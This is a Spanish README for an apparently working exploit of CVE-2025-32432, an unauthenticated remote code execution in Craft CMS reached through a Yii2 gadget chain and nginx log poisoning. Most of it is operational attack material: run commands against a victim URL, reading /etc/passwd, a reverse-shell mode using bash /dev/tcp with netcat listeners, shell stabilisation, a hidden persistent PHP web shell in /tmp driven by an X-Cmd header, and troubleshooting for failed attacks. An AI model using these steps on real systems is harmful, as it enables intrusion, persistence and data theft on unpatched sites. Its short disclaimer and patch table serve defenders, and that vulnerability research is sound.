
PoC funcional para CVE-2025-32432 - RCE no autenticado en Craft CMS <= 5.6.16 mediante el gadget Yii2 PhpManager + envenenamiento de access.log de nginx
Prueba de concepto funcional para CVE-2025-32432, una vulnerabilidad de ejecución remota de código no autenticada en Craft CMS versiones hasta e incluyendo 5.6.16 (también afecta a las ramas 4.x y 3.x en rutas de código equivalentes).
Palabras clave de búsqueda: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
El modo predeterminado apunta a instalaciones vanilla de Craft CMS. Se incluye una bandera --lab para el desafío carangueijada-20 del proyecto hacklab-platform, que protege Craft detrás de una cookie de sesión personalizada.
Componente afectado: craft\controllers\AssetsController::actionGenerateTransform.
La acción está registrada como allowAnonymous, por lo que no se requiere autenticación. Acepta un parámetro POST handle que luego se propaga en una llamada a Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Cuando $handle es un array asociativo bajo control del atacante, la propagación inyecta claves arbitrarias en la configuración del constructor. En particular, una clave que comienza con as es interpretada por yii\base\Component::__set como una asignación de comportamiento, lo que llama a Yii::createObject($config) sobre el valor antes de cualquier verificación de tipo:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
La corrección en Yii2 2.0.50 añadió una comprobación is_subclass_of($value['class'], Behavior::class) en esta rama; las instalaciones vulnerables (Yii2 <= 2.0.49, o comprobaciones parcheadas anteriormente eliminadas) omiten la protección por completo.
yii\rbac\PhpManagerPhpManager es una clase estándar de Yii2. Su init() llama a load(), que a su vez llama a loadFromFile($this->itemFile). loadFromFile es literalmente:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require interpreta cualquier archivo en disco como PHP. Si el archivo contiene un bloque <?php ... ?>, dicho bloque se ejecuta en el worker. Al apuntar itemFile a un archivo cuyo contenido el atacante controla, se logra RCE completo.
access.log de nginxEl sumidero fiable entre instalaciones es el access.log de nginx en formato combinado. Registra el User-Agent de la solicitud textualmente, incluidos caracteres no imprimibles y la mayoría de signos de puntuación. Al enviar una solicitud cuyo User-Agent es <?php system('id'); exit; ?>, el atacante planta un bloque PHP en una ruta conocida. Apuntar itemFile a /var/log/nginx/access.log luego ejecuta require sobre el log, ejecutando todos los bloques <?php ... ?> en orden.
Dos sutilezas importantes:
" a \x22 en el formato combinado, lo que rompe el análisis PHP de la línea. Use comillas simples o concatenación con chr().exit; al final para que require aborté antes de analizar líneas posteriores del log que puedan contener otros payloads malformados.| Componente | Vulnerable | Corregido |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 añade una comprobación de ImageTransformerInterface en la clase del transformador. Yii2 2.0.50 añade una comprobación de subclase Behavior en Component::__set. Cualquiera de las dos correcciones por sí sola cierra esta cadena de gadgets exacta.
requests (pip install -r requirements.txt)assetId válido de Craft en el objetivo. Por defecto 2; sobrescribir con -a <id> si es necesario (el asset id 1 suele ser el avatar del administrador).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile personalizado (ruta de log diferente, sesión FPM, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
El laboratorio carangueijada-20 del proyecto hacklab-platform protege la instalación de Craft detrás de una cookie coopsess emitida por PATCH /login. La bandera --lab maneja ese handshake automáticamente.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Asegúrese de que www.carangueijada.coop resuelva a la IP del laboratorio (agregar a /etc/hosts si es necesario).
La bandera --revshell lanza un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 en segundo plano, de modo que el POST del gadget retorna inmediatamente.
Flujo de dos terminales (más fiable):
# terminal 1 - listener en tu máquina
nc -lvnp 4444
# terminal 2 - disparar exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Flujo de una terminal con listener integrado:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen ejecuta nc -lvnp <lport> en la misma terminal antes de disparar el payload. Ctrl+C para salir cuando haya terminado.
Ejemplo de sesión (laboratorio):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Estabilizando la shell (después de la conexión, ejecutar dentro de la reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z para enviar nc al fondo
stty raw -echo; fg
# Enter dos veces
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
En la primera ejecución, el exploit envenena access.log una vez para dejar un wrapper PHP oculto en /tmp/.cve32432_w.php. El wrapper lee la cabecera HTTP X-Cmd y ejecuta system($_SERVER['HTTP_X_CMD']). Cada envío subsiguiente apunta itemFile al archivo wrapper y pasa el comando mediante la cabecera. No más envenenamientos, no más contaminación del log, no más fallos de "el primer bloque <?php exit; ?> gana".
Si desea forzar un nuevo despliegue, elimine /tmp/.cve32432_w.php en el objetivo (puede hacerlo a través del propio wrapper: --cmd 'rm /tmp/.cve32432_w.php').
Ejecución exitosa contra un objetivo nuevo:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Retroceso por log contaminado (el objetivo ya ha sido explotado antes, un payload más antiguo sale antes que el suyo):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform llega a AssetsController::actionGenerateTransform.$config = ['class' => ImageTransform::class, ...$handle]. Nuestro handle[as gadget] sobrevive a la propagación.Craft::createObject($config) llama a Yii::$container->get(ImageTransform::class, [], $config), lo que instancia ImageTransform y escribe cada clave restante de $config mediante $transform->{$key} = $value.as gadget, Component::__set coincide con el prefijo as y llama a Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).Yii::createObject construye PhpManager, ejecuta __construct() y luego init().PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.<?php ... ?> se ejecutan en el worker.system($cmd) y exit;. La salida aparece en el cuerpo de la respuesta donde se encontraba textualmente el bloque <?php.| Síntoma | Causa | Solución |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | El token CSRF no está vinculado a la cookie utilizada en el POST | El script usa una única requests.Session; si reimplementa, asegúrese de que el almacén de cookies persista CRAFT_CSRF_TOKEN entre session-info y el POST. |
HTTP 403 en /actions/... | Prefijo de ruta o vhost incorrecto | Use -p /prefix para coincidir con el lugar donde está montado Craft; asegúrese de que la cabecera Host coincida con la instalación. |
csrfTokenValue vacío / session-info devuelve HTML | Cabecera Accept incorrecta | El script ya envía Accept: application/json; si lo elimina, restáurelo. |
| La salida nunca muestra su comando | access.log ya contiene un payload <?php ... exit; ?> más antiguo que se ejecuta primero | Rotar/truncar el log en el objetivo. Si solo tiene RCE como id, espere al próximo logrotate, o pivote a través de un archivo PHP escribible (ej. /tmp/wrapper.php con system($_SERVER['HTTP_X_CMD']);) y úselo como itemFile en adelante. |
assetId not found | ID incorrecto para esa instalación | Navegue por URLs públicas de assets para enumerar IDs, o pruebe -a 1 y luego -a 3..N. |
| Objetivo parcheado | Craft >= 5.6.17 o Yii2 >= 2.0.50 | La cadena está cerrada; busque otra clase vulnerable o pase a otra cosa. |
| El payload provoca error fatal de PHP | Entradas antiguas del log contienen PHP malformado que rompe el parser antes de su bloque | Misma solución que para log contaminado: rotar el log. |
Si solo puede ejecutar id de forma fiable (porque un exit; antiguo ha bloqueado la cadena), un pivote viable es hacer que ese único comando tipo id escriba un wrapper PHP en una ruta que usted controle, luego cambie itemFile a esa ruta para todas las solicitudes posteriores:
# envenenamiento único con comando que deja /tmp/w.php como www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# codificar CMD como chr() ...
Luego ejecute:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
Cada envío subsiguiente lee /tmp/w.php (un archivo PHP limpio sin nada antes de nuestro payload) y ejecuta el comando de la cabecera X-Cmd. Adapte el script si desea esto como un modo integrado.
.
├── exploit.py # el PoC
├── README.md # este archivo
├── requirements.txt # dependencias Python (solo `requests`)
└── LICENSE # MIT
Component.php (revisión vulnerable): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpEsta prueba de concepto se publica únicamente con fines de investigación defensiva, uso educativo y pruebas de penetración autorizadas. Ejecutarla contra sistemas que no posee o para los que no tiene permiso por escrito para realizar pruebas es ilegal en la mayoría de las jurisdicciones. El autor no acepta ninguna responsabilidad por su mal uso.
Si mantiene una instalación de Craft CMS, actualice a 5.6.17 o superior (o la versión de parche correspondiente de 4.x / 3.x). La vulnerabilidad es trivialmente explotable y se ha utilizado en campañas reales documentadas por SensePost.
MIT. Ver LICENSE.